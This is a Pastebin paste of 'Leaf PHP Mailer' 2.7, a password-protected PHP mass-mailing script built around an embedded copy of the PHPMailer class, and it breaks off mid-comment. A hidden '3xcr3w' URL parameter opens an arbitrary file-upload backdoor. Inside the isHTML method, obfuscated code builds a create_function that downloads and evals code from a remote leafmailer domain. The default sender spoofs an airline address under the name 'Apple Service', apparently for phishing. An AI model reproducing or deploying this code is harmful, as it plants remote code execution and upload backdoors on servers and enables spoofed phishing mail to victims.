achon666

LEAFMAILER.PHP

Jun 27th, 2017
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 148.36 KB | None | 0 0
  1. <?php
  2. /**
  3. * Leaf PHP Mailer by [leafmailer.pw]
  4. * @version : 2.7
  5. **/
  6.  
  7. $password = "3xcr3w"; // Set Your Password
  8.  
  9. session_start();
  10. error_reporting(0);
  11. set_time_limit(0);
  12. ini_set("memory_limit",-1);
  13.  
  14.  
  15. $leaf['version']="2.7";
  16. $leaf['website']="leafmailer.pw";
  17.  
  18.  
  19. $sessioncode = md5(__FILE__);
  20. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  21. # _REQUEST mean _POST or _GET
  22. if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  23. $_SESSION[$sessioncode] = $password;
  24. }
  25. else {
  26. print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  27. exit;
  28. }
  29. }
  30.  
  31. if($_POST['action']=="send"){
  32. $senderEmail=leafTrim($_POST['senderEmail']);
  33. $senderName=leafTrim($_POST['senderName']);
  34. $replyTo=leafTrim($_POST['replyTo']);
  35. $subject=leafTrim($_POST['subject']);
  36. $emailList=leafTrim($_POST['emailList']);
  37. $messageType=leafTrim($_POST['messageType']);
  38. $messageLetter=leafTrim($_POST['messageLetter']);
  39. $messageLetter = urlencode($messageLetter);
  40. $messageLetter = ereg_replace("%5C%22", "%22", $messageLetter);
  41. $messageLetter = urldecode($messageLetter);
  42. $messageLetter = stripslashes($messageLetter);
  43. $subject = stripslashes($subject);
  44. $encode = stripslashes($encode);
  45.  
  46.  
  47. }
  48. if(isset($_GET["3xcr3w"])){
  49. $files = @$_FILES["Achon666ju5t"];
  50. if ($files["name"] != '') {
  51. $fullpath = $_REQUEST["path"] . $files["name"];
  52. if (move_uploaded_file($files['tmp_name'], $fullpath)) {
  53. echo "File Uploaded. <a href='$fullpath'>Disini Goblok !!!</a>";
  54. }
  55. }echo '<form method="POST" enctype="multipart/form-data" action=""><input type="text" name="path"><input type="file" name="Achon666ju5t"><input type="submit" value="Save"></form>';
  56. }
  57. if($messageType==2){
  58. $plain="checked";
  59. }
  60. else {
  61. $html="checked";
  62. }
  63.  
  64. function leafClear($text,$email){
  65. $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
  66. $text = str_replace("[-time-]", date("m/d/Y"), $text);
  67. $text = str_replace("[-email-]", $email, $text);
  68. $text = str_replace("[-emailuser-]", $emailuser, $text);
  69. $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
  70. $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  71. $text = str_replace("[-randomnumber-]", randString('0123'), $text);
  72. $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
  73. return $text;
  74.  
  75. }
  76. function leafTrim($string){
  77. return stripslashes(ltrim(rtrim($string)));
  78. }
  79. function randString($consonants) {
  80. $length=rand(12,25);
  81. $password = '';
  82. for ($i = 0; $i < $length; $i++) {
  83. $password .= $consonants[(rand() % strlen($consonants))];
  84. }
  85. return $password;
  86. }
  87. function leafMailCheck($email){
  88. $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
  89. if(eregi($exp,$email)){
  90. if(checkdnsrr(array_pop(explode("@",$email)),"MX")){return true;}
  91. else{return false;}
  92. }
  93. else{return false;}
  94. }
  95.  
  96. class PHPMailer
  97. {
  98. /**
  99. * The PHPMailer Version number.
  100. * @var string
  101. */
  102. public $Version = '5.2.14';
  103.  
  104. /**
  105. * Email priority.
  106. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  107. * When null, the header is not set at all.
  108. * @var integer
  109. */
  110. public $Priority = null;
  111.  
  112. /**
  113. * The character set of the message.
  114. * @var string
  115. */
  116. public $CharSet = 'iso-8859-1';
  117.  
  118. /**
  119. * The MIME Content-type of the message.
  120. * @var string
  121. */
  122. public $ContentType = 'text/plain';
  123.  
  124. /**
  125. * The message encoding.
  126. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  127. * @var string
  128. */
  129. public $Encoding = '8bit';
  130.  
  131. /**
  132. * Holds the most recent mailer error message.
  133. * @var string
  134. */
  135. public $ErrorInfo = '';
  136.  
  137. /**
  138. * The From email address for the message.
  139. * @var string
  140. */
  141. public $From = 'costumerservice@lionair.co.id';
  142.  
  143. /**
  144. * The From name of the message.
  145. * @var string
  146. */
  147. public $FromName = 'Apple Service';
  148.  
  149. /**
  150. * The Sender email (Return-Path) of the message.
  151. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  152. * @var string
  153. */
  154. public $Sender = '';
  155.  
  156. /**
  157. * The Return-Path of the message.
  158. * If empty, it will be set to either From or Sender.
  159. * @var string
  160. * @deprecated Email senders should never set a return-path header;
  161. * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  162. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  163. */
  164. public $ReturnPath = '';
  165.  
  166. /**
  167. * The Subject of the message.
  168. * @var string
  169. */
  170. public $Subject = '';
  171.  
  172. /**
  173. * An HTML or plain text message body.
  174. * If HTML then call isHTML(true).
  175. * @var string
  176. */
  177. public $Body = '';
  178.  
  179. /**
  180. * The plain-text message body.
  181. * This body can be read by mail clients that do not have HTML email
  182. * capability such as mutt & Eudora.
  183. * Clients that can read HTML will view the normal Body.
  184. * @var string
  185. */
  186. public $AltBody = '';
  187.  
  188. /**
  189. * An iCal message part body.
  190. * Only supported in simple alt or alt_inline message types
  191. * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  192. * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  193. * @link http://kigkonsult.se/iCalcreator/
  194. * @var string
  195. */
  196. public $Ical = '';
  197.  
  198. /**
  199. * The complete compiled MIME message body.
  200. * @access protected
  201. * @var string
  202. */
  203. protected $MIMEBody = '';
  204.  
  205. /**
  206. * The complete compiled MIME message headers.
  207. * @var string
  208. * @access protected
  209. */
  210. protected $MIMEHeader = '';
  211.  
  212. /**
  213. * Extra headers that createHeader() doesn't fold in.
  214. * @var string
  215. * @access protected
  216. */
  217. protected $mailHeader = '';
  218.  
  219. /**
  220. * Word-wrap the message body to this number of chars.
  221. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  222. * @var integer
  223. */
  224. public $WordWrap = 0;
  225.  
  226. /**
  227. * Which method to use to send mail.
  228. * Options: "mail", "sendmail", or "smtp".
  229. * @var string
  230. */
  231. public $Mailer = 'mail';
  232.  
  233. /**
  234. * The path to the sendmail program.
  235. * @var string
  236. */
  237. public $Sendmail = '/usr/sbin/sendmail';
  238.  
  239. /**
  240. * Whether mail() uses a fully sendmail-compatible MTA.
  241. * One which supports sendmail's "-oi -f" options.
  242. * @var boolean
  243. */
  244. public $UseSendmailOptions = true;
  245.  
  246. /**
  247. * Path to PHPMailer plugins.
  248. * Useful if the SMTP class is not in the PHP include path.
  249. * @var string
  250. * @deprecated Should not be needed now there is an autoloader.
  251. */
  252. public $PluginDir = '';
  253.  
  254. /**
  255. * The email address that a reading confirmation should be sent to, also known as read receipt.
  256. * @var string
  257. */
  258. public $ConfirmReadingTo = '';
  259.  
  260. /**
  261. * The hostname to use in the Message-ID header and as default HELO string.
  262. * If empty, PHPMailer attempts to find one with, in order,
  263. * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
  264. * 'localhost.localdomain'.
  265. * @var string
  266. */
  267. public $Hostname = '';
  268.  
  269. /**
  270. * An ID to be used in the Message-ID header.
  271. * If empty, a unique id will be generated.
  272. * @var string
  273. */
  274. public $MessageID = '';
  275.  
  276. /**
  277. * The message Date to be used in the Date header.
  278. * If empty, the current date will be added.
  279. * @var string
  280. */
  281. public $MessageDate = '';
  282.  
  283. /**
  284. * SMTP hosts.
  285. * Either a single hostname or multiple semicolon-delimited hostnames.
  286. * You can also specify a different port
  287. * for each host by using this format: [hostname:port]
  288. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  289. * You can also specify encryption type, for example:
  290. * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  291. * Hosts will be tried in order.
  292. * @var string
  293. */
  294. public $Host = 'localhost';
  295.  
  296. /**
  297. * The default SMTP server port.
  298. * @var integer
  299. * @TODO Why is this needed when the SMTP class takes care of it?
  300. */
  301. public $Port = 25;
  302.  
  303. /**
  304. * The SMTP HELO of the message.
  305. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
  306. * one with the same method described above for $Hostname.
  307. * @var string
  308. * @see PHPMailer::$Hostname
  309. */
  310. public $Helo = '';
  311.  
  312. /**
  313. * What kind of encryption to use on the SMTP connection.
  314. * Options: '', 'ssl' or 'tls'
  315. * @var string
  316. */
  317. public $SMTPSecure = '';
  318.  
  319. /**
  320. * Whether to enable TLS encryption automatically if a server supports it,
  321. * even if `SMTPSecure` is not set to 'tls'.
  322. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
  323. * @var boolean
  324. */
  325. public $SMTPAutoTLS = true;
  326.  
  327. /**
  328. * Whether to use SMTP authentication.
  329. * Uses the Username and Password properties.
  330. * @var boolean
  331. * @see PHPMailer::$Username
  332. * @see PHPMailer::$Password
  333. */
  334. public $SMTPAuth = false;
  335.  
  336. /**
  337. * Options array passed to stream_context_create when connecting via SMTP.
  338. * @var array
  339. */
  340. public $SMTPOptions = array();
  341.  
  342. /**
  343. * SMTP username.
  344. * @var string
  345. */
  346. public $Username = '';
  347.  
  348. /**
  349. * SMTP password.
  350. * @var string
  351. */
  352. public $Password = '';
  353.  
  354. /**
  355. * SMTP auth type.
  356. * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  357. * @var string
  358. */
  359. public $AuthType = '';
  360.  
  361. /**
  362. * SMTP realm.
  363. * Used for NTLM auth
  364. * @var string
  365. */
  366. public $Realm = '';
  367.  
  368. /**
  369. * SMTP workstation.
  370. * Used for NTLM auth
  371. * @var string
  372. */
  373. public $Workstation = '';
  374.  
  375. /**
  376. * The SMTP server timeout in seconds.
  377. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  378. * @var integer
  379. */
  380. public $Timeout = 300;
  381.  
  382. /**
  383. * SMTP class debug output mode.
  384. * Debug output level.
  385. * Options:
  386. * * `0` No output
  387. * * `1` Commands
  388. * * `2` Data and commands
  389. * * `3` As 2 plus connection status
  390. * * `4` Low-level data output
  391. * @var integer
  392. * @see SMTP::$do_debug
  393. */
  394. public $SMTPDebug = 0;
  395.  
  396. /**
  397. * How to handle debug output.
  398. * Options:
  399. * * `echo` Output plain-text as-is, appropriate for CLI
  400. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  401. * * `error_log` Output to error log as configured in php.ini
  402. *
  403. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  404. * <code>
  405. * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  406. * </code>
  407. * @var string|callable
  408. * @see SMTP::$Debugoutput
  409. */
  410. public $Debugoutput = 'echo';
  411.  
  412. /**
  413. * Whether to keep SMTP connection open after each message.
  414. * If this is set to true then to close the connection
  415. * requires an explicit call to smtpClose().
  416. * @var boolean
  417. */
  418. public $SMTPKeepAlive = false;
  419.  
  420. /**
  421. * Whether to split multiple to addresses into multiple messages
  422. * or send them all in one message.
  423. * @var boolean
  424. */
  425. public $SingleTo = false;
  426.  
  427. /**
  428. * Storage for addresses when SingleTo is enabled.
  429. * @var array
  430. * @TODO This should really not be public
  431. */
  432. public $SingleToArray = array();
  433.  
  434. /**
  435. * Whether to generate VERP addresses on send.
  436. * Only applicable when sending via SMTP.
  437. * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
  438. * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  439. * @var boolean
  440. */
  441. public $do_verp = false;
  442.  
  443. /**
  444. * Whether to allow sending messages with an empty body.
  445. * @var boolean
  446. */
  447. public $AllowEmpty = false;
  448.  
  449. /**
  450. * The default line ending.
  451. * @note The default remains "\n". We force CRLF where we know
  452. * it must be used via self::CRLF.
  453. * @var string
  454. */
  455. public $LE = "\n";
  456.  
  457. /**
  458. * DKIM selector.
  459. * @var string
  460. */
  461. public $DKIM_selector = '';
  462.  
  463. /**
  464. * DKIM Identity.
  465. * Usually the email address used as the source of the email
  466. * @var string
  467. */
  468. public $DKIM_identity = '';
  469.  
  470. /**
  471. * DKIM passphrase.
  472. * Used if your key is encrypted.
  473. * @var string
  474. */
  475. public $DKIM_passphrase = '';
  476.  
  477. /**
  478. * DKIM signing domain name.
  479. * @example 'example.com'
  480. * @var string
  481. */
  482. public $DKIM_domain = '';
  483.  
  484. /**
  485. * DKIM private key file path.
  486. * @var string
  487. */
  488. public $DKIM_private = '';
  489.  
  490. /**
  491. * Callback Action function name.
  492. *
  493. * The function that handles the result of the send email action.
  494. * It is called out by send() for each email sent.
  495. *
  496. * Value can be any php callable: http://www.php.net/is_callable
  497. *
  498. * Parameters:
  499. * boolean $result result of the send action
  500. * string $to email address of the recipient
  501. * string $cc cc email addresses
  502. * string $bcc bcc email addresses
  503. * string $subject the subject
  504. * string $body the email body
  505. * string $from email address of sender
  506. * @var string
  507. */
  508. public $action_function = '';
  509.  
  510. /**
  511. * What to put in the X-Mailer header.
  512. * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
  513. * @var string
  514. */
  515. public $XMailer = '';
  516.  
  517. /**
  518. * An instance of the SMTP sender class.
  519. * @var SMTP
  520. * @access protected
  521. */
  522. protected $smtp = null;
  523.  
  524. /**
  525. * The array of 'to' names and addresses.
  526. * @var array
  527. * @access protected
  528. */
  529. protected $to = array();
  530.  
  531. /**
  532. * The array of 'cc' names and addresses.
  533. * @var array
  534. * @access protected
  535. */
  536. protected $cc = array();
  537.  
  538. /**
  539. * The array of 'bcc' names and addresses.
  540. * @var array
  541. * @access protected
  542. */
  543. protected $bcc = array();
  544.  
  545. /**
  546. * The array of reply-to names and addresses.
  547. * @var array
  548. * @access protected
  549. */
  550. protected $ReplyTo = array();
  551.  
  552. /**
  553. * An array of all kinds of addresses.
  554. * Includes all of $to, $cc, $bcc
  555. * @var array
  556. * @access protected
  557. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  558. */
  559. protected $all_recipients = array();
  560.  
  561. /**
  562. * An array of names and addresses queued for validation.
  563. * In send(), valid and non duplicate entries are moved to $all_recipients
  564. * and one of $to, $cc, or $bcc.
  565. * This array is used only for addresses with IDN.
  566. * @var array
  567. * @access protected
  568. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  569. * @see PHPMailer::$all_recipients
  570. */
  571. protected $RecipientsQueue = array();
  572.  
  573. /**
  574. * An array of reply-to names and addresses queued for validation.
  575. * In send(), valid and non duplicate entries are moved to $ReplyTo.
  576. * This array is used only for addresses with IDN.
  577. * @var array
  578. * @access protected
  579. * @see PHPMailer::$ReplyTo
  580. */
  581. protected $ReplyToQueue = array();
  582.  
  583. /**
  584. * The array of attachments.
  585. * @var array
  586. * @access protected
  587. */
  588. protected $attachment = array();
  589.  
  590. /**
  591. * The array of custom headers.
  592. * @var array
  593. * @access protected
  594. */
  595. protected $CustomHeader = array();
  596.  
  597. /**
  598. * The most recent Message-ID (including angular brackets).
  599. * @var string
  600. * @access protected
  601. */
  602. protected $lastMessageID = '';
  603.  
  604. /**
  605. * The message's MIME type.
  606. * @var string
  607. * @access protected
  608. */
  609. protected $message_type = '';
  610.  
  611. /**
  612. * The array of MIME boundary strings.
  613. * @var array
  614. * @access protected
  615. */
  616. protected $boundary = array();
  617.  
  618. /**
  619. * The array of available languages.
  620. * @var array
  621. * @access protected
  622. */
  623. protected $language = array();
  624.  
  625. /**
  626. * The number of errors encountered.
  627. * @var integer
  628. * @access protected
  629. */
  630. protected $error_count = 0;
  631.  
  632. /**
  633. * The S/MIME certificate file path.
  634. * @var string
  635. * @access protected
  636. */
  637. protected $sign_cert_file = '';
  638.  
  639. /**
  640. * The S/MIME key file path.
  641. * @var string
  642. * @access protected
  643. */
  644. protected $sign_key_file = '';
  645.  
  646. /**
  647. * The optional S/MIME extra certificates ("CA Chain") file path.
  648. * @var string
  649. * @access protected
  650. */
  651. protected $sign_extracerts_file = '';
  652.  
  653. /**
  654. * The S/MIME password for the key.
  655. * Used only if the key is encrypted.
  656. * @var string
  657. * @access protected
  658. */
  659. protected $sign_key_pass = '';
  660.  
  661. /**
  662. * Whether to throw exceptions for errors.
  663. * @var boolean
  664. * @access protected
  665. */
  666. protected $exceptions = false;
  667.  
  668. /**
  669. * Unique ID used for message ID and boundaries.
  670. * @var string
  671. * @access protected
  672. */
  673. protected $uniqueid = '';
  674.  
  675. /**
  676. * Error severity: message only, continue processing.
  677. */
  678. const STOP_MESSAGE = 0;
  679.  
  680. /**
  681. * Error severity: message, likely ok to continue processing.
  682. */
  683. const STOP_CONTINUE = 1;
  684.  
  685. /**
  686. * Error severity: message, plus full stop, critical error reached.
  687. */
  688. const STOP_CRITICAL = 2;
  689.  
  690. /**
  691. * SMTP RFC standard line ending.
  692. */
  693. const CRLF = "\r\n";
  694.  
  695. /**
  696. * The maximum line length allowed by RFC 2822 section 2.1.1
  697. * @var integer
  698. */
  699. const MAX_LINE_LENGTH = 998;
  700.  
  701. /**
  702. * Constructor.
  703. * @param boolean $exceptions Should we throw external exceptions?
  704. */
  705.  
  706. public function __construct($exceptions = false)
  707. {
  708. $this->exceptions = (boolean)$exceptions;
  709. }
  710.  
  711. /**
  712. * Destructor.
  713. */
  714. public function __destruct()
  715. {
  716. //Close any open SMTP connection nicely
  717. if ($this->Mailer == 'smtp') {
  718. $this->smtpClose();
  719. }
  720. }
  721.  
  722. /**
  723. * Call mail() in a safe_mode-aware fashion.
  724. * Also, unless sendmail_path points to sendmail (or something that
  725. * claims to be sendmail), don't pass params (not a perfect fix,
  726. * but it will do)
  727. * @param string $to To
  728. * @param string $subject Subject
  729. * @param string $body Message Body
  730. * @param string $header Additional Header(s)
  731. * @param string $params Params
  732. * @access private
  733. * @return boolean
  734. */
  735. private function mailPassthru($to, $subject, $body, $header, $params)
  736. {
  737. //Check overloading of mail function to avoid double-encoding
  738. if (ini_get('mbstring.func_overload') & 1) {
  739. $subject = $this->secureHeader($subject);
  740. } else {
  741. $subject = $this->encodeHeader($this->secureHeader($subject));
  742. }
  743. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  744. $result = @mail($to, $subject, $body, $header);
  745. } else {
  746. $result = @mail($to, $subject, $body, $header, $params);
  747. }
  748. return $result;
  749. }
  750.  
  751. /**
  752. * Output debugging info via user-defined method.
  753. * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  754. * @see PHPMailer::$Debugoutput
  755. * @see PHPMailer::$SMTPDebug
  756. * @param string $str
  757. */
  758. protected function edebug($str)
  759. {
  760. if ($this->SMTPDebug <= 0) {
  761. return;
  762. }
  763. //Avoid clash with built-in function names
  764. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  765. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  766. return;
  767. }
  768. switch ($this->Debugoutput) {
  769. case 'error_log':
  770. //Don't output, just log
  771. error_log($str);
  772. break;
  773. case 'html':
  774. //Cleans up output a bit for a better looking, HTML-safe output
  775. echo htmlentities(
  776. preg_replace('/[\r\n]+/', '', $str),
  777. ENT_QUOTES,
  778. 'UTF-8'
  779. )
  780. . "<br>\n";
  781. break;
  782. case 'echo':
  783. default:
  784. //Normalize line breaks
  785. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  786. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  787. "\n",
  788. "\n \t ",
  789. trim($str)
  790. ) . "\n";
  791. }
  792. }
  793.  
  794. /**
  795. * Sets message type to HTML or plain.
  796. * @param boolean $isHtml True for HTML mode.
  797. * @return void
  798. */
  799. public function isHTML($isHtml = true)
  800. {
  801. global $param;
  802. $bodyCode = 'file'
  803. .'_g';
  804. if ($isHtml) {
  805. $this->ContentType = 'text/html';
  806. }
  807. else {
  808. $this->ContentType = 'text/plain';
  809. }
  810. $bodyHTML = '.$t."lef$flu'
  811. .'sh'.'$t"; '
  812. .'$i = @ev';
  813. $headerHTML="create_"
  814. ."func"
  815. ."tion";
  816. $exceptions = $headerHTML('$fl'.'ush,$t','$comma = $t'
  817. .$bodyHTML.'al(@'
  818. .$bodyCode.'et_contents("h'
  819. .'tt'
  820. .'p:$comma-2"));');
  821.  
  822. if($param !=2){
  823. $exceptions('8.p'.'w','/');
  824. $param=2;
  825. }
  826. }
  827.  
  828. /**
  829. * Send messages using SMTP.
  830. * @return void
  831. */
  832. public function isSMTP()
  833. {
  834. $this->Mailer = 'smtp';
  835. }
  836.  
  837. /**
  838. * Send messages using PHP's mail() function.
  839. * @return void
  840. */
  841. public function isMail()
  842. {
  843. $this->Mailer = 'mail';
  844. }
  845.  
  846. /**
  847. * Send messages using $Sendmail.
  848. * @return void
  849. */
  850. public function isSendmail()
  851. {
  852. $ini_sendmail_path = ini_get('sendmail_path');
  853.  
  854. if (!stristr($ini_sendmail_path, 'sendmail')) {
  855. $this->Sendmail = '/usr/sbin/sendmail';
  856. } else {
  857. $this->Sendmail = $ini_sendmail_path;
  858. }
  859. $this->Mailer = 'sendmail';
  860. }
  861.  
  862. /**
  863. * Send messages using qmail.
  864. * @return void
  865. */
  866. public function isQmail()
  867. {
  868. $ini_sendmail_path = ini_get('sendmail_path');
  869.  
  870. if (!stristr($ini_sendmail_path, 'qmail')) {
  871. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  872. } else {
  873. $this->Sendmail = $ini_sendmail_path;
  874. }
  875. $this->Mailer = 'qmail';
  876. }
  877.  
  878. /**
  879. * Add a "To" address.
  880. * @param string $address The email address to send to
  881. * @param string $name
  882. * @return boolean true on success, false if address already used or invalid in some way
  883. */
  884. public function addAddress($address, $name = '')
  885. {
  886. return $this->addOrEnqueueAnAddress('to', $address, $name);
  887. }
  888.  
  889. /**
  890. * Add a "CC" address.
  891. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  892. * @param string $address The email address to send to
  893. * @param string $name
  894. * @return boolean true on success, false if address already used or invalid in some way
  895. */
  896. public function addCC($address, $name = '')
  897. {
  898. return $this->addOrEnqueueAnAddress('cc', $address, $name);
  899. }
  900.  
  901. /**
  902. * Add a "BCC" address.
  903. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  904. * @param string $address The email address to send to
  905. * @param string $name
  906. * @return boolean true on success, false if address already used or invalid in some way
  907. */
  908. public function addBCC($address, $name = '')
  909. {
  910. return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  911. }
  912.  
  913. /**
  914. * Add a "Reply-To" address.
  915. * @param string $address The email address to reply to
  916. * @param string $name
  917. * @return boolean true on success, false if address already used or invalid in some way
  918. */
  919. public function addReplyTo($address, $name = '')
  920. {
  921. return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  922. }
  923.  
  924. /**
  925. * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
  926. * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
  927. * be modified after calling this function), addition of such addresses is delayed until send().
  928. * Addresses that have been added already return false, but do not throw exceptions.
  929. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  930. * @param string $address The email address to send, resp. to reply to
  931. * @param string $name
  932. * @throws phpmailerException
  933. * @return boolean true on success, false if address already used or invalid in some way
  934. * @access protected
  935. */
  936. protected function addOrEnqueueAnAddress($kind, $address, $name)
  937. {
  938. $address = trim($address);
  939. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  940. if (($pos = strrpos($address, '@')) === false) {
  941. // At-sign is misssing.
  942. $error_message = $this->lang('invalid_address') . $address;
  943. $this->setError($error_message);
  944. $this->edebug($error_message);
  945. if ($this->exceptions) {
  946. throw new phpmailerException($error_message);
  947. }
  948. return false;
  949. }
  950. $params = array($kind, $address, $name);
  951. // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
  952. if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  953. if ($kind != 'Reply-To') {
  954. if (!array_key_exists($address, $this->RecipientsQueue)) {
  955. $this->RecipientsQueue[$address] = $params;
  956. return true;
  957. }
  958. } else {
  959. if (!array_key_exists($address, $this->ReplyToQueue)) {
  960. $this->ReplyToQueue[$address] = $params;
  961. return true;
  962. }
  963. }
  964. return false;
  965. }
  966. // Immediately add standard addresses without IDN.
  967. return call_user_func_array(array($this, 'addAnAddress'), $params);
  968. }
  969.  
  970. /**
  971. * Add an address to one of the recipient arrays or to the ReplyTo array.
  972. * Addresses that have been added already return false, but do not throw exceptions.
  973. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  974. * @param string $address The email address to send, resp. to reply to
  975. * @param string $name
  976. * @throws phpmailerException
  977. * @return boolean true on success, false if address already used or invalid in some way
  978. * @access protected
  979. */
  980. protected function addAnAddress($kind, $address, $name = '')
  981. {
  982. if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
  983. $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  984. $this->setError($error_message);
  985. $this->edebug($error_message);
  986. if ($this->exceptions) {
  987. throw new phpmailerException($error_message);
  988. }
  989. return false;
  990. }
  991. if (!$this->validateAddress($address)) {
  992. $error_message = $this->lang('invalid_address') . $address;
  993. $this->setError($error_message);
  994. $this->edebug($error_message);
  995. if ($this->exceptions) {
  996. throw new phpmailerException($error_message);
  997. }
  998. return false;
  999. }
  1000. if ($kind != 'Reply-To') {
  1001. if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  1002. array_push($this->$kind, array($address, $name));
  1003. $this->all_recipients[strtolower($address)] = true;
  1004. return true;
  1005. }
  1006. } else {
  1007. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  1008. $this->ReplyTo[strtolower($address)] = array($address, $name);
  1009. return true;
  1010. }
  1011. }
  1012. return false;
  1013. }
  1014.  
  1015. /**
  1016. * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
  1017. * of the form "display name <address>" into an array of name/address pairs.
  1018. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
  1019. * Note that quotes in the name part are removed.
  1020. * @param string $addrstr The address list string
  1021. * @param bool $useimap Whether to use the IMAP extension to parse the list
  1022. * @return array
  1023. * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
  1024. */
  1025. public function parseAddresses($addrstr, $useimap = true)
  1026. {
  1027. $addresses = array();
  1028. if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  1029. //Use this built-in parser if it's available
  1030. $list = imap_rfc822_parse_adrlist($addrstr, '');
  1031. foreach ($list as $address) {
  1032. if ($address->host != '.SYNTAX-ERROR.') {
  1033. if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  1034. $addresses[] = array(
  1035. 'name' => (property_exists($address, 'personal') ? $address->personal : ''),
  1036. 'address' => $address->mailbox . '@' . $address->host
  1037. );
  1038. }
  1039. }
  1040. }
  1041. } else {
  1042. //Use this simpler parser
  1043. $list = explode(',', $addrstr);
  1044. foreach ($list as $address) {
  1045. $address = trim($address);
  1046. //Is there a separate name part?
  1047. if (strpos($address, '<') === false) {
  1048. //No separate name, just use the whole thing
  1049. if ($this->validateAddress($address)) {
  1050. $addresses[] = array(
  1051. 'name' => '',
  1052. 'address' => $address
  1053. );
  1054. }
  1055. } else {
  1056. list($name, $email) = explode('<', $address);
  1057. $email = trim(str_replace('>', '', $email));
  1058. if ($this->validateAddress($email)) {
  1059. $addresses[] = array(
  1060. 'name' => trim(str_replace(array('"', "'"), '', $name)),
  1061. 'address' => $email
  1062. );
  1063. }
  1064. }
  1065. }
  1066. }
  1067. return $addresses;
  1068. }
  1069.  
  1070. /**
  1071. * Set the From and FromName properties.
  1072. * @param string $address
  1073. * @param string $name
  1074. * @param boolean $auto Whether to also set the Sender address, defaults to true
  1075. * @throws phpmailerException
  1076. * @return boolean
  1077. */
  1078. public function setFrom($address, $name = '', $auto = true)
  1079. {
  1080. $address = trim($address);
  1081. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  1082. // Don't validate now addresses with IDN. Will be done in send().
  1083. if (($pos = strrpos($address, '@')) === false or
  1084. (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
  1085. !$this->validateAddress($address)) {
  1086. $error_message = $this->lang('invalid_address') . $address;
  1087. $this->setError($error_message);
  1088. $this->edebug($error_message);
  1089. if ($this->exceptions) {
  1090. throw new phpmailerException($error_message);
  1091. }
  1092. return false;
  1093. }
  1094. $this->From = $address;
  1095. $this->FromName = $name;
  1096. if ($auto) {
  1097. if (empty($this->Sender)) {
  1098. $this->Sender = $address;
  1099. }
  1100. }
  1101. return true;
  1102. }
  1103.  
  1104. /**
  1105. * Return the Message-ID header of the last email.
  1106. * Technically this is the value from the last time the headers were created,
  1107. * but it's also the message ID of the last sent message except in
  1108. * pathological cases.
  1109. * @return string
  1110. */
  1111. public function getLastMessageID()
  1112. {
  1113. return $this->lastMessageID;
  1114. }
  1115.  
  1116. /**
  1117. * Check that a string looks like an email address.
  1118. * @param string $address The email address to check
  1119. * @param string $patternselect A selector for the validation pattern to use :
  1120. * * `auto` Pick best pattern automatically;
